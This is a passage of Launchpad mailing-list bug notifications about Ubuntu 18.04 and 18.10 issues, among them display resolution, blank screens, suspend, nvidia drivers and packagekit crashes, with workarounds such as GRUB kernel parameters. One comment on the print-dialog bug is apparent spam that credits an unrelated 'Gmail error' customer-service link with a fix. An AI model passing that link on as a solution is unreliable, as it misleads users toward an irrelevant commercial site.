nwon0002 1646 F pulseaudio CurrentDesktop: communitheme:ubuntu:GNOME Date: Thu Oct 25 20:57:59 2018 InstallationDate: Installed on 2018-08-11 (74 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH successful Symptom_Card: Built-in Audio - HDA Intel PCH Symptom_Jack: Black Headphone Out, Right Symptom_PulseAudioLog: Oct 25 20:43:10 nwon0002-X555LF dbus-daemon[1036]: [system] Activating via systemd: service name='org.freedesktop.RealtimeKit1' unit='rtkit-daemon.service' requested by ':1.27' (uid=121 pid=1332 comm="/usr/bin/pulseaudio --daemonize=no " label="unconfined") Symptom_PulsePlaybackTest: PulseAudio playback test successful Symptom_Type: Underruns, dropouts, or "crackling" sound Title: [X555LF, Realtek ALC3236, Black Headphone Out, Right] Underruns, dropouts or crackling sound UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/09/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: X555LF.502 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: X555LF dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrX555LF.502:bd07/09/2015:svnASUSTeKCOMPUTERINC.:pnX555LF:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnX555LF:rvr1.0:cvnASUST
Re: [Touch-packages] [Bug 1752053] Re: nvidia-390 fails to boot graphical display
I didn’t need to remove GDM3, but installing LightDM (and switching to it) fixed it for me. Well, I should say it was a workaround, anyway... > On Oct 24, 2018, at 11:56 PM, ccdisle wrote: > > Uncommenting "WaylandEnable=false " worked. > > Removing gdm3 did not work, I just got redirected to a tty3 login shell. > > Thanks again > > -- > You received this bug notification because you are subscribed to the bug > report. > https://bugs.launchpad.net/bugs/1752053 > > Title: > nvidia-390 fails to boot graphical display > > Status in mesa package in Ubuntu: > Fix Released > Status in nvidia-graphics-drivers-390 package in Ubuntu: > Fix Released > Status in xserver-xorg-video-nouveau package in Ubuntu: > Invalid > > Bug description: > I'm using Bionic with the new 4.15 kernel. I've been using the > nvidia-384 driver with no problem for a while. Today I issued "sudo > apt-get upgrade" and I was prompted to upgrade the nvidia driver to > the nvidia-390. After installing the driver and rebooting, I was only > able to boot in to the tty terminal. The graphical display failed to > boot. I have had similar problems with nvidia driver version 390 with > Arch Linux and with Open Suse Tumbleweed. > > To manage notifications about this bug go to: > https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1752053/+subscriptions -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1752053 Title: nvidia-390 fails to boot graphical display Status in mesa package in Ubuntu: Fix Released Status in nvidia-graphics-drivers-390 package in Ubuntu: Fix Released Status in xserver-xorg-video-nouveau package in Ubuntu: Invalid Bug description: I'm using Bionic with the new 4.15 kernel. I've been using the nvidia-384 driver with no problem for a while. Today I issued "sudo apt-get upgrade" and I was prompted to upgrade the nvidia driver to the nvidia-390. After installing the driver and rebooting, I was only able to boot in to the tty terminal. The graphical display failed to boot. I have had similar problems with nvidia driver version 390 with Arch Linux and with Open Suse Tumbleweed. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1752053/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799613] Re: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly.
Attached apport ** Attachment added: "apport.xorg._bwf38sg.apport" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1799613/+attachment/5205379/+files/apport.xorg._bwf38sg.apport ** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799613 Title: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly. Status in linux package in Ubuntu: Confirmed Status in xorg package in Ubuntu: New Bug description: dpkg --list | grep linux-image ii linux-image-4.15.0-36-generic 4.15.0-36.39 amd64Signed kernel image generic ii linux-image-4.15.0-38-generic 4.15.0-38.41 amd64Signed kernel image generic ii linux-image-generic 4.15.0.38.40 amd64Generic Linux kernel image ii linux-image-unsigned-4.14.59-041459-generic 4.14.59-041459.201807280929 amd64Linux kernel image for version 4.14.59 on 64 bit x86 SMP Booting from GRUB into 4.14.59 allows my two monitors to run at their native resolution, 2560x1440. Any newer kernel does not allow my two monitors to run at their native resolution, only allowing up to 1920x1200. uname -a Linux blackbox 4.14.59-041459-generic #201807280929 SMP Sat Jul 28 09:32:10 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1799613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 322931] Re: Print dialog hangs when print server is off
I had a similar issue. I'm running Ubuntu 9.04 on the two PCs, and the printer is shared utilizing samba. I likewise took a stab at printing from a KDE application on Ubuntu and get a similar thing. I have managed this problem with help of link https://www.emailcustomercareservice.com/blog/fix-gmail-error-007/ and my problem gets resolved. You can also visit the link to resolve the issue. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to cups in Ubuntu. https://bugs.launchpad.net/bugs/322931 Title: Print dialog hangs when print server is off Status in Common Print Dialog: New Status in cups package in Ubuntu: Confirmed Bug description: Binary package hint: cups My printer is on another computer and I print to it using IPP. Both systems are ubuntu systems running cups servers. When the computer with the printer is powered down and I try to print from a Gnome application, the program hangs for 1-3 minutes before displaying the print dialog. If the external print server is on the print dialog appears immediately. I'm using Ubuntu 8.10, the external server is running 8.04, and cups 1.3.9-2ubuntu6.1 To manage notifications about this bug go to: https://bugs.launchpad.net/common-print-dialog-gtk/+bug/322931/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799613] Re: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly.
Does `amdgpu.dc=0` help? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799613 Title: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly. Status in linux package in Ubuntu: Confirmed Status in xorg package in Ubuntu: New Bug description: dpkg --list | grep linux-image ii linux-image-4.15.0-36-generic 4.15.0-36.39 amd64Signed kernel image generic ii linux-image-4.15.0-38-generic 4.15.0-38.41 amd64Signed kernel image generic ii linux-image-generic 4.15.0.38.40 amd64Generic Linux kernel image ii linux-image-unsigned-4.14.59-041459-generic 4.14.59-041459.201807280929 amd64Linux kernel image for version 4.14.59 on 64 bit x86 SMP Booting from GRUB into 4.14.59 allows my two monitors to run at their native resolution, 2560x1440. Any newer kernel does not allow my two monitors to run at their native resolution, only allowing up to 1920x1200. uname -a Linux blackbox 4.14.59-041459-generic #201807280929 SMP Sat Jul 28 09:32:10 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1799613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799965] [NEW] Blank screen doesn't recover
Public bug reported: When I leave my machine for 10 minutes (default is 5) the screen blanks. Unfortunately it doesn't come back after that, not by hitting a key or moving the mouse. I end up stopping the machine and turning it back on again. May be related with my Vega 64 card/drivers? ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: xorg 1:7.7+19ubuntu8 ProcVersionSignature: Ubuntu 4.18.0-10.11-generic 4.18.12 Uname: Linux 4.18.0-10-generic x86_64 ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Oct 25 16:21:52 2018 DistUpgraded: Fresh install DistroCodename: cosmic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Vega 10 XT [Radeon RX Vega 64] [1002:687f] (rev c1) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Vega 10 XT [Radeon RX Vega 64] [1043:04c4] InstallationDate: Installed on 2018-10-24 (1 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Release amd64 (20181017.3) MachineType: System manufacturer System Product Name ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.18.0-10-generic root=UUID=2b5f903c-f044-4872-8865-685b48bb83de ro quiet splash vt.handoff=1 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/20/2018 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 4023 dmi.board.asset.tag: Default string dmi.board.name: PRIME B350-PLUS dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr4023:bd08/20/2018:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnPRIMEB350-PLUS:rvrRevX.0x:cvnDefaultstring:ct3:cvrDefaultstring: dmi.product.family: To be filled by O.E.M. dmi.product.name: System Product Name dmi.product.sku: SKU dmi.product.version: System Version dmi.sys.vendor: System manufacturer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.2-0ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.2-0ubuntu1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.1-3ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-3 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug cosmic ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799965 Title: Blank screen doesn't recover Status in xorg package in Ubuntu: New Bug description: When I leave my machine for 10 minutes (default is 5) the screen blanks. Unfortunately it doesn't come back after that, not by hitting a key or moving the mouse. I end up stopping the machine and turning it back on again. May be related with my Vega 64 card/drivers? ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: xorg 1:7.7+19ubuntu8 ProcVersionSignature: Ubuntu 4.18.0-10.11-generic 4.18.12 Uname: Linux 4.18.0-10-generic x86_64 ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Oct 25 16:21:52 2018 DistUpgraded: Fresh install DistroCodename: cosmic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Vega 10 XT [Radeon RX Vega 64] [1002:687f] (rev c1) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Vega 10 XT [Radeon RX Vega 64] [1043:04c4] InstallationDate: Installed on 2018-10-24 (1 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Release amd64 (20181017.3) MachineType: System manufacturer System Product Name ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.18.0-10-generic root=UUID=2b5f903c-f044-4872-8865-685b48bb83de ro quiet splash vt.handoff=1 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/20/2018 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 4023 dmi.board.asset.tag: Default string dmi.board.name: PRIME B350-PLUS dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr4023:bd08/20/2018:svnSystemmanufacturer:pn
[Touch-packages] [Bug 1799964] Re: Ubuntu 18.10 After Blank Screen System Won't Come Back
Similar to #1799965 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799964 Title: Ubuntu 18.10 After Blank Screen System Won't Come Back Status in xorg package in Ubuntu: New Bug description: In Ubuntu 18.10 if the blank screen feature initiates (5 minutes default) the system will remain blank and there is no way to get the display back on without a hard reset. The video card I am using is a Vega 64. Other users who have Vega AMD GPU's are experiencing the same issue. This is only happening in Ubuntu 18.10. Does not occur in my Arch or Fedora installs. To reproduce: - Let 'Blank Screen' feature execute (5 min default) - Screen will not come back ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: xorg 1:7.7+19ubuntu8 ProcVersionSignature: Ubuntu 4.18.0-10.11-generic 4.18.12 Uname: Linux 4.18.0-10-generic x86_64 ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Oct 25 10:18:59 2018 DistUpgraded: Fresh install DistroCodename: cosmic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Vega 10 XT [Radeon RX Vega 64] [1002:687f] (rev c1) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Vega 10 XT [Radeon RX Vega 64] [1043:04c4] InstallationDate: Installed on 2018-10-19 (6 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Release amd64 (20181017.3) MachineType: Micro-Star International Co., Ltd. MS-7B78 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.18.0-10-generic root=UUID=21c08187-f134-41b4-b8e5-93bead748c4f ro quiet splash SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/24/2018 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2.20 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: X470 GAMING PRO CARBON (MS-7B78) dmi.board.vendor: Micro-Star International Co., Ltd. dmi.board.version: 1.0 dmi.chassis.asset.tag: To be filled by O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: Micro-Star International Co., Ltd. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2.20:bd04/24/2018:svnMicro-StarInternationalCo.,Ltd.:pnMS-7B78:pvr1.0:rvnMicro-StarInternationalCo.,Ltd.:rnX470GAMINGPROCARBON(MS-7B78):rvr1.0:cvnMicro-StarInternationalCo.,Ltd.:ct3:cvr1.0: dmi.product.family: To be filled by O.E.M. dmi.product.name: MS-7B78 dmi.product.sku: To be filled by O.E.M. dmi.product.version: 1.0 dmi.sys.vendor: Micro-Star International Co., Ltd. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.2-0ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.2-0ubuntu1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.1-3ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-3 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1799964/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799613] Re: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly.
Where is that configured? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799613 Title: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly. Status in linux package in Ubuntu: Confirmed Status in xorg package in Ubuntu: New Bug description: dpkg --list | grep linux-image ii linux-image-4.15.0-36-generic 4.15.0-36.39 amd64Signed kernel image generic ii linux-image-4.15.0-38-generic 4.15.0-38.41 amd64Signed kernel image generic ii linux-image-generic 4.15.0.38.40 amd64Generic Linux kernel image ii linux-image-unsigned-4.14.59-041459-generic 4.14.59-041459.201807280929 amd64Linux kernel image for version 4.14.59 on 64 bit x86 SMP Booting from GRUB into 4.14.59 allows my two monitors to run at their native resolution, 2560x1440. Any newer kernel does not allow my two monitors to run at their native resolution, only allowing up to 1920x1200. uname -a Linux blackbox 4.14.59-041459-generic #201807280929 SMP Sat Jul 28 09:32:10 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1799613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799974] [NEW] [MIR] gupnp
Public bug reported: * Availability Builds on all supported architectures in Ubuntu and on sync from Debian * Rationale We would like to enable dlna sharing of media files, which is a GNOME upstream feature and relying on rygel which depends on the gupnp libraries * Security There is an old CVE recorded/fixed https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2174 * Quality assurance - the desktop-packages team is subscribed to the package - the bug lists in upstream, the Debian PTS and launchpad are empty - upstream has a testsuit which is used during build * Dependendies The package uses standard desktop libraries that are already in main * Standards compliance the package is using standard packaging (dh10), the standards-version is 4.2, the package is in sync from Debian * Maintainance Upstream is active and the desktop team is going to look after the package in ubuntu ** Affects: gupnp (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gupnp in Ubuntu. https://bugs.launchpad.net/bugs/1799974 Title: [MIR] gupnp Status in gupnp package in Ubuntu: New Bug description: * Availability Builds on all supported architectures in Ubuntu and on sync from Debian * Rationale We would like to enable dlna sharing of media files, which is a GNOME upstream feature and relying on rygel which depends on the gupnp libraries * Security There is an old CVE recorded/fixed https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2174 * Quality assurance - the desktop-packages team is subscribed to the package - the bug lists in upstream, the Debian PTS and launchpad are empty - upstream has a testsuit which is used during build * Dependendies The package uses standard desktop libraries that are already in main * Standards compliance the package is using standard packaging (dh10), the standards-version is 4.2, the package is in sync from Debian * Maintainance Upstream is active and the desktop team is going to look after the package in ubuntu To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gupnp/+bug/1799974/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799038] Re: Ubuntu 18.10 does not suspend on lid close
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: systemd (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1799038 Title: Ubuntu 18.10 does not suspend on lid close Status in systemd package in Ubuntu: Confirmed Bug description: After an upgrade to Ubuntu 18.10 suspend to RAM due to closing the lid on notebooks does not work any more. The machine goes to suspend mode but wakes up immediately due to some events (can be network, or others). In 18.04 this issue was fixed (we had the same situation with any version since 14.04). Seems a regression. Mitigation reports suggesting to change /etc/systemd/logind.conf are WRONG. The changes do NOTHING. One might spare the time to experiment. ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: systemd 239-7ubuntu10 ProcVersionSignature: Ubuntu 4.18.0-10.11-generic 4.18.12 Uname: Linux 4.18.0-10-generic x86_64 ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun Oct 21 11:55:48 2018 InstallationDate: Installed on 2018-04-30 (174 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 05ac:0273 Apple, Inc. Bus 001 Device 002: ID 05ac:8290 Apple, Inc. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Apple Inc. MacBookPro12,1 ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.18.0-10-generic root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=1 SourcePackage: systemd UpgradeStatus: Upgraded to cosmic on 2018-10-20 (0 days ago) dmi.bios.date: 08/08/2017 dmi.bios.vendor: Apple Inc. dmi.bios.version: MBP121.88Z.0171.B00.1708080033 dmi.board.name: Mac-E43C1C25D4880AD6 dmi.board.vendor: Apple Inc. dmi.board.version: MacBookPro12,1 dmi.chassis.type: 9 dmi.chassis.vendor: Apple Inc. dmi.chassis.version: Mac-E43C1C25D4880AD6 dmi.modalias: dmi:bvnAppleInc.:bvrMBP121.88Z.0171.B00.1708080033:bd08/08/2017:svnAppleInc.:pnMacBookPro12,1:pvr1.0:rvnAppleInc.:rnMac-E43C1C25D4880AD6:rvrMacBookPro12,1:cvnAppleInc.:ct9:cvrMac-E43C1C25D4880AD6: dmi.product.family: MacBook Pro dmi.product.name: MacBookPro12,1 dmi.product.version: 1.0 dmi.sys.vendor: Apple Inc. mtime.conffile..etc.systemd.logind.conf: 2018-10-20T22:01:57.469491 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1799038/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799613] Re: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly.
I think that fixed it.
To add `amdgpu.dc=0`, you must edit your grub configuration
https://askubuntu.com/questions/1029517/amd-rx480-screen-flicker-after-
update-to-18-04#1032198
>To do this, edit the file /etc/default/grub, for example using
>sudoedit /etc/default/grub
>Find the line beginning GRUB_CMDLINE_LINUX_DEFAULT and add the text
>amdgpu.dc=0 between the double quotes (""). Leave any other parameters as they
>are. For example, you may end up with a line like this:
>GRUB_CMDLINE_LINUX_DEFAULT="quiet splash amdgpu.dc=0"
>Save the file and exit, and then run
>sudo update-grub
>to write the configuration, and reboot.
After doing this, the resolution is detected correctly and appears
normal in the 4.15.0-38-generic kernel.
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1799613
Title:
In kernel 4.14.59, monitor resolution is detected correctly. In
kernels after that, they are not detected correctly.
Status in linux package in Ubuntu:
Confirmed
Status in xorg package in Ubuntu:
New
Bug description:
dpkg --list | grep linux-image
ii linux-image-4.15.0-36-generic 4.15.0-36.39
amd64Signed kernel image generic
ii linux-image-4.15.0-38-generic 4.15.0-38.41
amd64Signed kernel image generic
ii linux-image-generic 4.15.0.38.40
amd64Generic Linux kernel image
ii linux-image-unsigned-4.14.59-041459-generic
4.14.59-041459.201807280929 amd64Linux kernel
image for version 4.14.59 on 64 bit x86 SMP
Booting from GRUB into 4.14.59 allows my two monitors to run at their native
resolution, 2560x1440. Any newer kernel does not allow my two monitors to run
at their native resolution, only allowing up to 1920x1200.
uname -a
Linux blackbox 4.14.59-041459-generic #201807280929 SMP Sat Jul 28
09:32:10 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1799613/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1790671] Update Released
The verification of the Stable Release Update for packagekit has
completed successfully and the package has now been released to
-updates. Subsequently, the Ubuntu Stable Release Updates Team is being
unsubscribed and will not receive messages about this bug report. In
the event that you encounter a regression using the package from
-updates please report a new bug using ubuntu-bug and tag the bug report
regression-update so we can easily find any regressions.
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to packagekit in Ubuntu.
https://bugs.launchpad.net/bugs/1790671
Title:
/usr/lib/packagekit/packagekitd:11:std::__cxx11::basic_string:AptIntf::providesCodec:backend_what_provides_thread:pk_backend_job_thread_setup:g_thread_proxy
Status in packagekit package in Ubuntu:
Fix Released
Status in packagekit source package in Bionic:
Fix Released
Bug description:
[Impact]
pkcon what-provides and other tools querying codecs do not work, they crash
(unless you happen to be lucky with your apt cache). Also, cancalled
transactions crash as well, even if you're lucky with your apt cache, as the
"matcher" object is deleted twice.
There are two reasons: A duplicate delete statement in providesCodec
entered when cancelling the lookup, and a invalid pointer dereference
in there.
[Test case]
The daemon should not crash as below, but should print a useful message.
$ lxc launch -e ubuntu:bionic bbb
$ lxc exec bbb apt update
$ lxc exec bbb -- apt -y install packagekit
$ lxc exec bbb pkcon what-provides "gstreamer1.0(decoder-audio/ac3)"
[...] The daemon crashed mid-transaction!
(empty lxd container seems to be able to reproduce easily)
This only tests the pointer dereference, I don't have a test for the
duplicate. But the code is obviously correct:
for ... [
if (m_cancel) {
// here used to be "delete matcher" - that's deleted
break;
}
}
delete matcher;
That is, matcher is always deleted once now, and was always deleted
twice when cancelling before.
[Regression potential]
I don't think it's possible to have a regression here, given the nature of
the fix, but if there were one, we'd see different behavior in codec lookup.
For the duplicate delete on cancelled transactions, you'd be looking
at memory leaks if there were a regression.
[Other info]
The Ubuntu Error Tracker has been receiving reports about a problem regarding
packagekit. This problem was most recently seen with package version
1.1.10-1ubuntu2, the problem page at
https://errors.ubuntu.com/problem/46649a8a55e07e74b9d522c9bc9d71a74905ccc2
contains more details, including versions of packages affected, stacktrace or
traceback, and individual crash reports.
If you do not have access to the Ubuntu Error Tracker and are a software
developer, you can request it at http://forms.canonical.com/reports/.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1790671/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1790613] Update Released
The verification of the Stable Release Update for packagekit has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1790613 Title: Regression: packagekit crashes updating itself to a new version Status in packagekit package in Ubuntu: Fix Released Status in plasma-discover package in Ubuntu: Confirmed Status in packagekit source package in Bionic: Fix Released Status in plasma-discover source package in Bionic: Confirmed Bug description: [Impact] Bionic: 18.04 Version: 1.1.9-1ubuntu2 upgrading itself to 1.1.9-1ubuntu2.18.04.1 Updating with pkcon upgrade or plasma-discover crashes packagekit mid transaction, requiring user intervention on the command line. In plasma-discover the gui reports the crash briefly, but then stalls in apparent mid update, requiring the user to force close it and again resolve the issue on the command line. Example transactions: $ pkcon update Getting updates [=] Finished [=] Loading cache [=] Testing changes [=] Finished [ ] (0%) The following packages have to be updated: gir1.2-packagekitglib-1.0-1.1.9-1ubuntu2.18.04.1.amd64 GObject introspection data for the PackageKit GLib library libpackagekit-glib2-18-1.1.9-1ubuntu2.18.04.1.amd64Library for accessing PackageKit using GLib packagekit-1.1.9-1ubuntu2.18.04.1.amd64Provides a package management service packagekit-tools-1.1.9-1ubuntu2.18.04.1.amd64 Provides PackageKit command-line tools Proceed with changes? [N/y] y [=] Updating packages [=] Waiting for authentication[=] Loading cache [=] Running [=] Installing packages [ ] (80%) The daemon crashed mid-transaction! $ sudo apt-get upgrade E: dpkg was interrupted, you must manually run 'sudo dpkg --configure -a' to correct the problem. and obviously after that doing anything meaningful with packagekit like installing a package fails $pkcon install kaffeine Resolving [=] Testing changes [=] Finished [ ] (0%) The following packages have to be installed: kaffeine-2.0.14-1.amd64versatile media player for KDE Proceed with changes? [N/y] y [=] Installing[=] Waiting for authentication[=] Waiting for package manager lock[=] Finished 